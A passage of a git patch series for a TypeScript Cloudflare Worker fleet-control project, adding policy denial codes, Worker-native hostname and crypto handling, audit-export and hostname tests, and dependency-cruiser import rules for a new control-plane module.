Evaluates one policy at the connector execution boundary. */ export interface ToolPolicyEvaluator { - /** Stable policy name used in denials and audit records. */ + /** Diagnostic policy name used in denials and audit records. */ name: string; /** Return whether this connector call may proceed. */ evaluate(context: ToolCallContext): PolicyDecision | Promise; @@ -175,6 +176,8 @@ export function networkEgress( return { allowed: false, reason: `egress to ${normalizedDeclared} is not in the allowed domains`, + code: 'EGRESS_HOST_NOT_ALLOWED_BY_ORG', + details: { declaredHost: normalizedDeclared }, }; } } @@ -223,12 +226,14 @@ export function crossWorkflowIsolation( return { allowed: false, reason: 'caller has no workflow scope; cross-workflow access denied', + code: 'WORKFLOW_SCOPE_MISSING', }; } if (target !== scope) { return { allowed: false, reason: `workflow '${scope}' may not access state of '${target}'`, + code: 'CROSS_WORKFLOW_ACCESS_DENIED', }; } return { allowed: true }; @@ -270,6 +275,7 @@ export function tenantIsolation( allowed: false, reason: 'caller carries no isolation scope; this deployment requires tenant-scoped connector calls', + code: 'ISOLATION_SCOPE_MISSING', }; } return { allowed: true }; @@ -358,6 +364,7 @@ export function backgroundExecution( return { allowed: false, reason: `write-class connector '${connectorId}' may not run in background: an LLM _background override would move it off the foreground path (v1 connectors are foreground-only)`, + code: 'BACKGROUND_EXECUTION_DENIED', }; } return { allowed: true }; diff --git a/packages/flowsafe/src/audit-export/audit-export.test.ts b/packages/flowsafe/src/audit-export/audit-export.test.ts index 32b35957..c302c5bd 100644 --- a/packages/flowsafe/src/audit-export/audit-export.test.ts +++ b/packages/flowsafe/src/audit-export/audit-export.test.ts @@ -1,4 +1,5 @@ // SPDX-License-Identifier: Apache-2.0 +import { type AuditEvent, AuditLogger } from '@proofoftech/breakwater/audit'; import { describe, expect, it, vi } from 'vitest'; import { @@ -29,6 +30,46 @@ function makeBatch(events: TestEvent[]): { } describe('queueAuditSink', () => { + it('preserves connector decision metadata from the logger through NDJSON export', async () => { + const queued: AuditEvent[] = []; + const audit = new AuditLogger({ + sink: queueAuditSink({ + send: async (event) => { + queued.push(event); + }, + }), + }); + const event = audit.record({ + actor: null, + action: 'connector.execute', + resource: 'example.read', + decision: 'denied', + decisionCode: 'RATE_LIMIT_EXCEEDED', + policyKind: 'rate-limit', + retryable: true, + }); + const fetch = vi.fn().mockResolvedValue({ ok: true, status: 200 }); + const ackAll = vi.fn(); + const retryAll = vi.fn(); + await createAuditQueueConsumer({ + endpoint: 'https://siem.example/collect', + fetch, + })({ + messages: queued.map((body) => ({ body, ack: vi.fn(), retry: vi.fn() })), + ackAll, + retryAll, + }); + expect(fetch).toHaveBeenCalledTimes(1); + expect(JSON.parse(fetch.mock.calls[0]?.[1].body)).toEqual(event); + expect(event).toMatchObject({ + decisionCode: 'RATE_LIMIT_EXCEEDED', + policyKind: 'rate-limit', + retryable: true, + }); + expect(ackAll).toHaveBeenCalledTimes(1); + expect(retryAll).not.toHaveBeenCalled(); + }); + it('sends each event to the queue binding', async () => { // #given const send = vi.fn().mockResolvedValue(undefined); From 77e90e751b2f205a3ce3e387cc72a7faf03fe89a Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Wed, 9 Sep 2026 12:45:43 +0400 Subject: [PATCH 101/169] fix(fleet-control): use Worker-native hostname and crypto primitives --- .../worker-native-inventory-hostnames.md | 7 ++ .../fleet-control/src/application-bindings.ts | 3 +- .../src/cloudflare-fleet-inventory.ts | 15 ++- packages/fleet-control/src/secrets.ts | 5 +- .../test/cloudflare-fleet-inventory.test.ts | 40 ++++++ .../test/fixtures/cloudflare-fetch-fixture.ts | 4 +- .../fixtures/fleet-state-harness-probe.ts | 11 +- .../inventory-hostname-harness-probe.ts | 109 ++++++++++++++++ .../migration-ledger-harness-probe.ts | 11 +- .../test/fixtures/r2-export-harness-probe.ts | 14 ++- .../test/inventory-hostname.harness.test.ts | 117 ++++++++++++++++++ .../test/plain-worker-backend.test.ts | 2 +- .../test/r2-export-store.test.ts | 15 +-- 13 files changed, 322 insertions(+), 31 deletions(-) create mode 100644 .changeset/worker-native-inventory-hostnames.md create mode 100644 packages/fleet-control/test/fixtures/inventory-hostname-harness-probe.ts create mode 100644 packages/fleet-control/test/inventory-hostname.harness.test.ts diff --git a/.changeset/worker-native-inventory-hostnames.md b/.changeset/worker-native-inventory-hostnames.md new file mode 100644 index 00000000..c906ea7d --- /dev/null +++ b/.changeset/worker-native-inventory-hostnames.md @@ -0,0 +1,7 @@ +--- +'@proofoftech/fleet-control': patch +--- + +Use the platform URL hostname parser for inventory finding validation so the ordinary Worker control plane does not require node:url. Preserve international hostname validation, rejected-input behavior and original diagnostic text. + +Use crypto.randomBytes results directly for R2 reservation nonces and deployment-secret encoding, preserving their byte lengths and base64url representation. diff --git a/packages/fleet-control/src/application-bindings.ts b/packages/fleet-control/src/application-bindings.ts index ca9cffa9..f5e4b4da 100644 --- a/packages/fleet-control/src/application-bindings.ts +++ b/packages/fleet-control/src/application-bindings.ts @@ -1,6 +1,5 @@ // SPDX-License-Identifier: Apache-2.0 -import { Buffer } from 'node:buffer'; import { createHash, randomBytes } from 'node:crypto'; import type { ApplicationBindingTopology, @@ -213,7 +212,7 @@ export function reserveApplicationR2Resources( ): readonly ApplicationR2Resource[] { return canonicalApplicationBindings(spec).r2Buckets.map((binding) => { const jurisdiction = binding.jurisdiction ?? 'default'; - const reservationNonce = Buffer.from(randomBytes(24)).toString('base64url'); + const reservationNonce = randomBytes(24).toString('base64url'); return { name: binding.name, bucketName: reservedBucketName( diff --git a/packages/fleet-control/src/cloudflare-fleet-inventory.ts b/packages/fleet-control/src/cloudflare-fleet-inventory.ts index 88e1b895..851f7fb6 100644 --- a/packages/fleet-control/src/cloudflare-fleet-inventory.ts +++ b/packages/fleet-control/src/cloudflare-fleet-inventory.ts @@ -1,7 +1,6 @@ // SPDX-License-Identifier: Apache-2.0 import { createHash } from 'node:crypto'; -import { domainToASCII } from 'node:url'; import { CLOUDFLARE_INVENTORY_BOUND, inventoryBoundExceeded, @@ -350,15 +349,15 @@ function tagValue(tags: readonly string[], prefix: string): string | undefined { return tags.find((tag) => tag.startsWith(prefix))?.slice(prefix.length); } -/** - * Hostnames reach the durable controls as ASCII, while the finding detail keeps - * today's exact bytes: an ASCII value is never rewritten, so only a genuine IDN - * value is punycoded for validation. - */ function asciiHost(value: string): string { if (!NON_ASCII.test(value)) return value; - const ascii = domainToASCII(value); - return ascii === '' ? value : ascii; + const url = new URL('ws://x'); + url.hostname = value; + if (url.hostname !== 'x') return url.hostname; + // A rejected assignment retains the old host; a second host distinguishes it from a valid x. + url.hostname = 'y'; + url.hostname = value; + return url.hostname === 'x' ? 'x' : value; } function detailValue(value: string, field: string): string { diff --git a/packages/fleet-control/src/secrets.ts b/packages/fleet-control/src/secrets.ts index 89caaadb..49750c1f 100644 --- a/packages/fleet-control/src/secrets.ts +++ b/packages/fleet-control/src/secrets.ts @@ -1,13 +1,12 @@ // SPDX-License-Identifier: Apache-2.0 -import { Buffer } from 'node:buffer'; import { randomBytes } from 'node:crypto'; import type { DeploymentSecrets } from './types.js'; export function generateDeploymentSecrets(): DeploymentSecrets { return { - deploymentIdentity: Buffer.from(randomBytes(32)).toString('base64url'), - maintenanceAdmin: Buffer.from(randomBytes(32)).toString('base64url'), + deploymentIdentity: randomBytes(32).toString('base64url'), + maintenanceAdmin: randomBytes(32).toString('base64url'), }; } diff --git a/packages/fleet-control/test/cloudflare-fleet-inventory.test.ts b/packages/fleet-control/test/cloudflare-fleet-inventory.test.ts index 43e8ff71..5c8bd5b1 100644 --- a/packages/fleet-control/test/cloudflare-fleet-inventory.test.ts +++ b/packages/fleet-control/test/cloudflare-fleet-inventory.test.ts @@ -513,6 +513,46 @@ const EMPTY_OPTIONS: FleetInventoryRunOptions = { }; describe('advanceCloudflareFleetInventoryStage', () => { + it.each([ + 'bücher.example', + '例子.example', + 'x', + 'y', + 'localhost', + '\u200b.example', + 'ASCII.example', + ])('retains hostname finding bytes for %j', async (hostname) => { + const { deps } = harness({ + domainPages: [[{ hostname, service: 'anchorage-missing' }]], + zoneIds: [], + scriptPages: [[]], + }); + const run = await drive(deps, EMPTY_OPTIONS); + expect(details(run.rows)).toContain( + `custom domain '${hostname}' points to a missing or incomplete plain Worker 'anchorage-missing'`, + ); + expect(run.rows.filter((row) => row.kind === 'route')).toEqual([ + expect.objectContaining({ + payload: expect.objectContaining({ hostname }), + }), + ]); + }); + + it.each([ + 'user@é.example\t', + 'é.example:80\t', + 'bad\u0000é.example', + ])('preserves finding refusal when hostname assignment rejects %j', async (hostname) => { + const { deps } = harness({ + domainPages: [[{ hostname, service: 'anchorage-missing' }]], + zoneIds: [], + scriptPages: [[]], + }); + await expect(drive(deps, EMPTY_OPTIONS)).rejects.toBeInstanceOf( + FleetInventoryFindingValueError, + ); + }); + it('walks the fifteen provider stages in encounter order, one chunk per call', async () => { const { deps } = harness(RICH_WORLD); const run = await drive(deps, RICH_OPTIONS); diff --git a/packages/fleet-control/test/fixtures/cloudflare-fetch-fixture.ts b/packages/fleet-control/test/fixtures/cloudflare-fetch-fixture.ts index 06c7867e..f20503ec 100644 --- a/packages/fleet-control/test/fixtures/cloudflare-fetch-fixture.ts +++ b/packages/fleet-control/test/fixtures/cloudflare-fetch-fixture.ts @@ -189,12 +189,12 @@ class UnsupportedFormDataResponse { } } -async function decodeBody(body: BodyInit | null | undefined): Promise { +async function decodeBody(body: RequestInit['body']): Promise { if (body instanceof FormData) { const files: Array<{ name: string; type: string; text: string }> = []; const fields: Record = {}; for (const [name, value] of body.entries()) { - if (value instanceof File) { + if (typeof value !== 'string') { files.push({ name: value.name, type: value.type, diff --git a/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts b/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts index 9f34295f..d34b431b 100644 --- a/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts +++ b/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts @@ -1,5 +1,10 @@ // SPDX-License-Identifier: Apache-2.0 -/// +import type { + D1Database, + ExportedHandler, + Request, + Response as WorkerResponse, +} from '@cloudflare/workers-types'; import { applicationBindingTopology, @@ -64,6 +69,8 @@ import { decommissionAdvancingRecordFixture, } from './decommission-intent-fixture.js'; +declare const Response: typeof WorkerResponse; + interface Env { DB: D1Database; } @@ -4922,7 +4929,7 @@ async function cloudflareRateCoordination(db: D1Database): Promise { } export default { - async fetch(request: Request, env: Env): Promise { + async fetch(request: Request, env: Env): Promise { const url = new URL(request.url); if (request.method !== 'POST' || url.pathname !== '/fleet-state') { return new Response('not found', { status: 404 }); diff --git a/packages/fleet-control/test/fixtures/inventory-hostname-harness-probe.ts b/packages/fleet-control/test/fixtures/inventory-hostname-harness-probe.ts new file mode 100644 index 00000000..7d79498c --- /dev/null +++ b/packages/fleet-control/test/fixtures/inventory-hostname-harness-probe.ts @@ -0,0 +1,109 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { + assertApplicationR2ReservationIdentity, + reserveApplicationR2Resources, +} from '../../src/application-bindings.js'; +import { + advanceCloudflareFleetInventoryStage, + type CloudflareFleetInventoryDeps, +} from '../../src/cloudflare-fleet-inventory.js'; +import { + emptyFleetInventoryRowCounts, + FleetInventoryFindingValueError, +} from '../../src/fleet-inventory-state.js'; +import { generateDeploymentSecrets } from '../../src/secrets.js'; +import type { DeploymentSpec } from '../../src/types.js'; + +function unexpected(): never { + throw new Error('unexpected provider operation'); +} + +export default { + async fetch(request: Request): Promise { + if (new URL(request.url).pathname === '/reservation') { + const spec: DeploymentSpec = { + tenantTag: 'tenanta', + environment: 'prod', + scriptName: 'fleet-tenanta-prod', + databaseName: 'fleet-tenanta-prod', + compatibilityDate: '2026-08-06', + mainModule: 'worker.js', + modules: [ + { + name: 'worker.js', + content: 'export default {}', + contentType: 'application/javascript+module', + }, + ], + authoredBy: 'platform', + schemaVersion: 0, + migrations: [], + durableObjectMigrations: [], + durableObjectBindings: [], + maintenanceBaseUrl: 'https://fleet.example.test', + routeHostname: 'tenanta.example.test', + application: { vars: [], secrets: [], r2Buckets: [{ name: 'FILES' }] }, + }; + const first = reserveApplicationR2Resources(spec); + const second = reserveApplicationR2Resources(spec); + for (const resource of [...first, ...second]) + assertApplicationR2ReservationIdentity(spec, resource); + return Response.json({ + first, + second, + secrets: generateDeploymentSecrets(), + }); + } + const hostname = new URL(request.url).searchParams.get('hostname'); + if (hostname === null) return new Response(null, { status: 400 }); + const deps: CloudflareFleetInventoryDeps = { + get attachmentScan() { + return unexpected(); + }, + dispatchNamespace: unexpected, + isDispatchCapabilityError: () => false, + listHostRoutingKeys: unexpected, + readHostRoutingValue: unexpected, + inspectDispatchWorker: unexpected, + getDispatchNamespace: unexpected, + listCustomDomains: async () => ({ + domains: [{ hostname, service: 'anchorage-missing' }], + }), + listWorkerRouteZoneIds: async () => [], + listZoneRoutes: unexpected, + listOrdinaryScripts: async () => ({ scripts: [] }), + readOrdinaryScriptDetail: unexpected, + listDatabases: unexpected, + listDurableObjectNamespaces: unexpected, + listR2Buckets: unexpected, + }; + const stage = { step: 'route-claims' } as const; + try { + const result = await advanceCloudflareFleetInventoryStage(deps, { + stage, + options: { + databaseNamePrefix: 'anchorage-db-', + scriptNamePrefix: 'anchorage-', + includeDispatchNamespace: false, + includeR2Buckets: false, + }, + progress: { + stage, + generation: 1, + revision: 0, + stagedCounts: emptyFleetInventoryRowCounts(), + factCount: 0, + providerRequests: 0, + }, + maxProviderRequests: 9, + }); + return Response.json(result); + } catch (error) { + if (error instanceof FleetInventoryFindingValueError) { + return Response.json({ error: error.name }, { status: 400 }); + } + throw error; + } + }, +}; diff --git a/packages/fleet-control/test/fixtures/migration-ledger-harness-probe.ts b/packages/fleet-control/test/fixtures/migration-ledger-harness-probe.ts index acf55106..66a9c5dc 100644 --- a/packages/fleet-control/test/fixtures/migration-ledger-harness-probe.ts +++ b/packages/fleet-control/test/fixtures/migration-ledger-harness-probe.ts @@ -1,9 +1,16 @@ // SPDX-License-Identifier: Apache-2.0 -/// +import type { + D1Database, + ExportedHandler, + Request, + Response as WorkerResponse, +} from '@cloudflare/workers-types'; import { D1FleetStateDatabase } from '../../src/d1-fleet-state-database.js'; import { applyMigrationsWithLedger } from '../../src/migration-ledger.js'; +declare const Response: typeof WorkerResponse; + interface Env { DB: D1Database; } @@ -231,7 +238,7 @@ async function readAcrossBoundary(db: D1Database): Promise { } export default { - async fetch(request: Request, env: Env): Promise { + async fetch(request: Request, env: Env): Promise { const url = new URL(request.url); if (request.method !== 'POST' || url.pathname !== '/migration-ledger') { return new Response('not found', { status: 404 }); diff --git a/packages/fleet-control/test/fixtures/r2-export-harness-probe.ts b/packages/fleet-control/test/fixtures/r2-export-harness-probe.ts index c973c3ba..8ab713e6 100644 --- a/packages/fleet-control/test/fixtures/r2-export-harness-probe.ts +++ b/packages/fleet-control/test/fixtures/r2-export-harness-probe.ts @@ -1,8 +1,18 @@ // SPDX-License-Identifier: Apache-2.0 -/// +import type { + Crypto, + ExportedHandler, + R2Bucket, + FixedLengthStream as WorkerFixedLengthStream, + Response as WorkerResponse, +} from '@cloudflare/workers-types'; import { R2DatabaseExportStore } from '../../src/r2-export-store.js'; +declare const crypto: Crypto; +declare const FixedLengthStream: typeof WorkerFixedLengthStream; +declare const Response: typeof WorkerResponse; + interface Env { readonly EXPORTS: R2Bucket; } @@ -355,7 +365,7 @@ async function receiptMismatch(env: Env) { }; } -async function dispatch(action: string, env: Env): Promise { +async function dispatch(action: string, env: Env): Promise { switch (action) { case 'success': return Response.json(await success(env)); diff --git a/packages/fleet-control/test/inventory-hostname.harness.test.ts b/packages/fleet-control/test/inventory-hostname.harness.test.ts new file mode 100644 index 00000000..463ce5d0 --- /dev/null +++ b/packages/fleet-control/test/inventory-hostname.harness.test.ts @@ -0,0 +1,117 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { afterAll, beforeAll, describe, expect, it } from 'vitest'; +import { + createTestHarness, + type TestHarness, + type WorkerHandle, +} from 'wrangler'; + +const ROOT = new URL('..', import.meta.url).pathname; +const PROBE = new URL( + './fixtures/inventory-hostname-harness-probe.ts', + import.meta.url, +).pathname; + +describe.sequential('inventory hostnames in workerd', { + timeout: 30_000, +}, () => { + let server: TestHarness; + let worker: WorkerHandle; + + beforeAll(async () => { + server = createTestHarness({ + root: ROOT, + workers: [ + { + config: { + name: 'inventory-hostname-probe', + main: PROBE, + compatibility_date: '2026-08-06', + }, + }, + ], + }); + await server.listen(); + worker = server.getWorker(); + }, 30_000); + + afterAll(async () => { + await server.close(); + }, 30_000); + + it('creates distinct base64url reservation nonces through the allowed crypto API', async () => { + const response = await worker.fetch('/reservation'); + expect(response.status).toBe(200); + const body = (await response.json()) as { + first: Array<{ reservationNonce: string; bucketName: string }>; + second: Array<{ reservationNonce: string; bucketName: string }>; + secrets: { deploymentIdentity: string; maintenanceAdmin: string }; + }; + for (const value of [ + body.secrets.deploymentIdentity, + body.secrets.maintenanceAdmin, + ]) { + expect(value).toMatch(/^[A-Za-z0-9_-]{43}$/); + expect(Buffer.from(value, 'base64url')).toHaveLength(32); + } + expect(body.secrets.deploymentIdentity).not.toBe( + body.secrets.maintenanceAdmin, + ); + expect(body.first).toHaveLength(1); + expect(body.second).toHaveLength(1); + for (const resource of [...body.first, ...body.second]) { + expect(resource.reservationNonce).toMatch(/^[A-Za-z0-9_-]{32}$/); + expect(Buffer.from(resource.reservationNonce, 'base64url')).toHaveLength( + 24, + ); + expect(resource.bucketName).toMatch(/^fleet-tenanta-prod-[0-9a-f]{20}$/); + } + expect(body.first[0]?.reservationNonce).not.toBe( + body.second[0]?.reservationNonce, + ); + expect(body.first[0]?.bucketName).not.toBe(body.second[0]?.bucketName); + }); + + it.each([ + 'bücher.example', + '例子.example', + 'x', + 'y', + 'localhost', + '\u200b.example', + 'ASCII.example', + ])('preserves the recorded hostname %j', async (hostname) => { + const response = await worker.fetch( + `/?hostname=${encodeURIComponent(hostname)}`, + ); + expect(response.status).toBe(200); + expect(await response.json()).toMatchObject({ + rows: [ + { kind: 'route', payload: { hostname } }, + { + kind: 'finding', + payload: { + kind: 'stale-route', + detail: `custom domain '${hostname}' points to a missing or incomplete plain Worker 'anchorage-missing'`, + }, + }, + ], + providerRequests: 3, + }); + }); + + it.each([ + 'user@é.example\t', + 'é.example:80\t', + 'bad\u0000é.example', + ])('retains finding refusal for %j', async (hostname) => { + const response = await worker.fetch( + `/?hostname=${encodeURIComponent(hostname)}`, + ); + expect(response.status).toBe(400); + expect(await response.json()).toEqual({ + error: 'FleetInventoryFindingValueError', + }); + }); +}); diff --git a/packages/fleet-control/test/plain-worker-backend.test.ts b/packages/fleet-control/test/plain-worker-backend.test.ts index ecba7aa4..fdaf8295 100644 --- a/packages/fleet-control/test/plain-worker-backend.test.ts +++ b/packages/fleet-control/test/plain-worker-backend.test.ts @@ -1310,7 +1310,7 @@ describe('PlainWorkerBackend core-policy refusals', () => { const api = new PlainWorkerProvisioningApiFake(); deployedCandidate(api); const request = vi.fn( - async (input: RequestInfo | URL, init?: RequestInit) => { + async (input: Parameters[0], init?: RequestInit) => { expect(String(input)).toContain('/admin/ensure-maintenance'); expect(init?.headers).toMatchObject({ 'Cloudflare-Workers-Version-Overrides': `${spec.scriptName}="candidate"`, diff --git a/packages/fleet-control/test/r2-export-store.test.ts b/packages/fleet-control/test/r2-export-store.test.ts index 6887ef38..1dd4fe57 100644 --- a/packages/fleet-control/test/r2-export-store.test.ts +++ b/packages/fleet-control/test/r2-export-store.test.ts @@ -1,6 +1,7 @@ // SPDX-License-Identifier: Apache-2.0 import { createHash } from 'node:crypto'; +import type { StreamPipeOptions } from 'node:stream/web'; import type { R2Bucket, R2Conditional, @@ -27,13 +28,7 @@ import { nodeWorkerStreams, } from './fixtures/worker-streams.js'; -type PutValue = - | WorkerReadableStream - | ArrayBuffer - | ArrayBufferView - | string - | null - | Blob; +type PutValue = Parameters[1]; type PutMode = | 'normal' @@ -677,10 +672,12 @@ describe('R2DatabaseExportStore', () => { ] satisfies readonly (keyof NodeFixedLengthStream)[]) { const sentinel = new Error(`${property} getter failed`); class ThrowingFixedLengthStream { - readonly #fixed: NodeFixedLengthStream; + readonly #fixed: InstanceType< + typeof nodeWorkerStreams.FixedLengthStream + >; constructor(expectedLength: number) { - this.#fixed = new NodeFixedLengthStream(expectedLength); + this.#fixed = new nodeWorkerStreams.FixedLengthStream(expectedLength); } get readable(): WorkerReadableStream { From dcd8e77691f9198b747f4904d30fe0c45993c75f Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Wed, 9 Sep 2026 13:33:43 +0400 Subject: [PATCH 102/169] feat(fleet-control): compose an internal Worker control plane --- .dependency-cruiser.cjs | 43 +- .../src/cloudflare-control-plane.ts | 619 +++++++++++ .../src/d1-fleet-state-database.ts | 4 +- .../test/cloudflare-control-plane.test.ts | 979 ++++++++++++++++++ .../control-plane-imports-forbidden-core.ts | 9 + .../control-plane-imports-node-host.ts | 2 + .../architecture-positive-controls.test.mjs | 91 +- 7 files changed, 1742 insertions(+), 5 deletions(-) create mode 100644 packages/fleet-control/src/cloudflare-control-plane.ts create mode 100644 packages/fleet-control/test/cloudflare-control-plane.test.ts create mode 100644 scripts/architecture-fixtures/control-plane-imports-forbidden-core.ts create mode 100644 scripts/architecture-fixtures/control-plane-imports-node-host.ts diff --git a/.dependency-cruiser.cjs b/.dependency-cruiser.cjs index 98479d3d..35aec5fc 100644 --- a/.dependency-cruiser.cjs +++ b/.dependency-cruiser.cjs @@ -1,3 +1,14 @@ +const { builtinModules } = require('node:module'); + +const CLOUDFLARE_CONTROL_PLANE_ENTRY = + '^packages/fleet-control/src/cloudflare-control-plane\\.ts$'; +const CLOUDFLARE_FORBIDDEN_CORE = `^(?:node:(?!(?:crypto|async_hooks)$).+|${[ + ...new Set(builtinModules.map((name) => name.replace(/^node:/, ''))), +] + .filter((name) => name !== 'crypto' && name !== 'async_hooks') + .map((name) => name.replace(/[.*+?^$(){}|[\]\\]/g, '\\$&')) + .join('|')})$`; + const FLOWSAFE_PUBLIC_ENTRY = '^packages/flowsafe/src/(?:index|host-kit/index|agent-runner/index|signals/client)\\.ts$'; const ALLOWED_APPROVAL_API_LEAVES = @@ -8,6 +19,34 @@ const KNOWN_APPROVAL_API_CYCLE = /** @type {import('dependency-cruiser').IConfiguration} */ module.exports = { forbidden: [ + { + name: 'fleet-control-worker-entry-avoids-node-host-adapters', + severity: 'error', + from: { + path: [ + CLOUDFLARE_CONTROL_PLANE_ENTRY, + '^scripts/architecture-fixtures/control-plane-imports-node-host\\.ts$', + ], + }, + to: { + path: '^packages/fleet-control/src/(?:export-store|wrangler-loop-backend|wrangler-plain-worker-provisioning-api|wrangler-runner)\\.ts$', + reachable: true, + }, + }, + { + name: 'fleet-control-worker-entry-limits-core-imports', + severity: 'error', + from: { + path: [ + CLOUDFLARE_CONTROL_PLANE_ENTRY, + '^scripts/architecture-fixtures/control-plane-imports-forbidden-core\\.ts$', + ], + }, + to: { + path: CLOUDFLARE_FORBIDDEN_CORE, + reachable: true, + }, + }, { name: 'flowsafe-public-entry-no-agent-host', severity: 'error', @@ -158,7 +197,7 @@ module.exports = { '^scripts/architecture-fixtures/fleet-control-leaf-imports-client\\.ts$', ], pathNot: - '^packages/fleet-control/src/(?:cloudflare-api-plain-worker-backend|cloudflare-api-plain-worker-provisioning-api|cloudflare-client|index)\\.ts$', + '^packages/fleet-control/src/(?:cloudflare-api-plain-worker-backend|cloudflare-api-plain-worker-provisioning-api|cloudflare-client|cloudflare-control-plane|index)\\.ts$', }, to: { path: '^packages/fleet-control/src/cloudflare-client\\.ts$', @@ -387,7 +426,7 @@ module.exports = { ], }, to: { - path: '^packages/fleet-control/src/(?:cloudflare-api-plain-worker-backend|cloudflare-api-plain-worker-provisioning-api|index)\\.ts$', + path: '^packages/fleet-control/src/(?:cloudflare-api-plain-worker-backend|cloudflare-api-plain-worker-provisioning-api|cloudflare-control-plane|index)\\.ts$', reachable: true, }, }, diff --git a/packages/fleet-control/src/cloudflare-control-plane.ts b/packages/fleet-control/src/cloudflare-control-plane.ts new file mode 100644 index 00000000..8d00e69e --- /dev/null +++ b/packages/fleet-control/src/cloudflare-control-plane.ts @@ -0,0 +1,619 @@ +// SPDX-License-Identifier: Apache-2.0 + +import type { D1Database } from '@cloudflare/workers-types'; +import type { AttestConvergedActiveRouteOptions } from './active-route.js'; +import { + advanceCleanupDeployment, + type CleanupAdvanceAction, + type CleanupAdvanceResult, +} from './cleanup-advance.js'; +import { CloudflareApiPlainWorkerBackend } from './cloudflare-api-plain-worker-backend.js'; +import { + CloudflareProvisioningClient, + cloudflareFleetInventoryContext, +} from './cloudflare-client.js'; +import { D1CloudflareApiRateCoordinator } from './cloudflare-rate-coordinator.js'; +import { D1FleetInventoryRunStore } from './d1-fleet-inventory-run-store.js'; +import { D1FleetOperationStore } from './d1-fleet-operation-store.js'; +import { D1FleetStateDatabase } from './d1-fleet-state-database.js'; +import { + advanceDecommissionDeployment, + type DecommissionAdvanceAction, + type DecommissionAdvanceResult, +} from './decommission-advance.js'; +import { + abandonFleetAuditOperation, + advanceFleetAudit, + type FleetAuditAdvanceAction, + type FleetAuditAdvanceResult, + type FleetAuditFindingsPage, + readFleetAuditFindingsPage, +} from './fleet-audit-advance.js'; +import { + advanceFleetInventory, + type FleetInventoryAdvanceResult, + readFleetInventoryGeneration, +} from './fleet-inventory-advance.js'; +import type { FleetInventoryGenerationRef } from './fleet-inventory-state.js'; +import { + abandonFleetMigrationOperation, + advanceFleetMigration, + type FleetMigrationAdvanceAction, + type FleetMigrationAdvanceResult, + readFleetMigrationItemsPage, +} from './fleet-migration-advance.js'; +import type { FleetMigrationItem } from './fleet-migration-state.js'; +import type { FleetOperationKind } from './fleet-operation-state.js'; +import { provisionDeployment } from './provision.js'; +import { + R2DatabaseExportStore, + type R2DatabaseExportStoreOptions, +} from './r2-export-store.js'; +import { D1FleetStateStore } from './state-store.js'; +import type { + CleanupTerminalReceipt, + DeploymentSecrets, + DeploymentSpec, + FleetRecord, + FleetResourceInventory, + FleetSettlementHost, + InitialExecutionFenceState, + ProvisioningResult, +} from './types.js'; + +export { ActiveRouteAttestationError } from './active-route.js'; +export { + type CleanupAdvanceCapability, + CleanupAdvanceCapabilityError, + CleanupAdvanceRestartError, +} from './cleanup-advance.js'; +export { + CleanupAdvanceTokenDeploymentError, + CleanupAdvanceTokenError, + CleanupAdvanceTokenFutureError, + CleanupAdvanceTokenOperationError, +} from './cleanup-intent.js'; +export { + type CloudflareApiRateCoordinator, + D1CloudflareApiRateCoordinator, + type D1CloudflareApiRateCoordinatorOptions, +} from './cloudflare-rate-coordinator.js'; +export { D1FleetStateDatabase } from './d1-fleet-state-database.js'; +export type { DurableDatabaseExportStore } from './database-export-store.js'; +export { + type DecommissionAdvanceCapability, + DecommissionAdvanceCapabilityError, + DecommissionAdvanceRestartError, +} from './decommission-advance.js'; +export { + DecommissionAdvanceTokenDeploymentError, + DecommissionAdvanceTokenError, + DecommissionAdvanceTokenFutureError, + DecommissionAdvanceTokenOperationError, +} from './decommission-intent.js'; +export { WorkerDeploymentError } from './deployment-error.js'; +export type { DriftFinding } from './fleet.js'; +export { + type FleetAuditAdvanceCapability, + FleetAuditAdvanceCapabilityError, + type FleetAuditResultRef, +} from './fleet-audit-advance.js'; +export type { FleetAuditStage } from './fleet-audit-state.js'; +export { + type FleetInventoryAdvanceCapability, + FleetInventoryAdvanceCapabilityError, +} from './fleet-inventory-advance.js'; +export { + FleetInventoryFindingValueError, + type FleetInventoryRowKind, + type FleetInventoryRunToken, + FleetInventoryRunTokenError, + FleetInventoryRunTokenFutureError, + FleetInventoryRunTokenOperationError, + FleetInventoryStateError, +} from './fleet-inventory-state.js'; +export { + FleetMigrationAdvanceCapabilityError, + type FleetMigrationResultRef, +} from './fleet-migration-advance.js'; +export type { + FleetMigrationPlanEntry, + FleetMigrationStep, +} from './fleet-migration-state.js'; +export { + type FleetOperationFailure, + FleetOperationStateError, + FleetOperationStoreCapabilityError, + type FleetOperationToken, + FleetOperationTokenError, + FleetOperationTokenFutureError, + FleetOperationTokenKindError, + FleetOperationTokenOperationError, +} from './fleet-operation-state.js'; +export type { HostRoutingTarget } from './host-routing.js'; +export { ProvisioningError } from './provision.js'; +export { + type DigestStreamConstructor, + type FixedLengthStreamConstructor, + R2DatabaseExportStore, + type R2DatabaseExportStoreStreamPrimitives, +} from './r2-export-store.js'; +export { generateDeploymentSecrets } from './secrets.js'; +export { deploymentSpecDigest } from './spec-digest.js'; +export type { FleetStateDatabase } from './state-store.js'; +export type { + ActiveRouteAttestation, + ApplicationBindingTopology, + ApplicationR2Binding, + ApplicationR2Resource, + BackendSwitchApplicationR2Progress, + BackendSwitchCandidateSnapshot, + BackendSwitchDecommissionRelease, + BackendSwitchDecommissionRouteTarget, + BackendSwitchDecommissionSnapshot, + BackendSwitchIntent, + BackendSwitchSubphase, + BridgeMutationPlan, + BridgeSnapshot, + CleanupAdvanceIntent, + CleanupAdvanceState, + CleanupAdvanceToken, + CleanupAttachmentProgress, + CleanupAttachmentPurpose, + CleanupAttachmentScan, + CleanupAuthority, + CleanupReceiptEvidence, + D1Migration, + DatabaseExport, + DatabaseExportIntegrity, + DatabaseExportReceiptIdentity, + DecommissionAdvanceIntent, + DecommissionAdvanceToken, + DecommissionAttachmentProgress, + DecommissionAttachmentPurpose, + DecommissionAttachmentScanEvidence, + DecommissionBlockedAttachment, + DecommissionIntentCommon, + DecommissionOperationIdentity, + DecommissionOperationMode, + DecommissionRecordIdentity, + DecommissionResult, + DeploymentApplicationBindings, + DeploymentEgressPolicy, + DurableObjectBindingInventory, 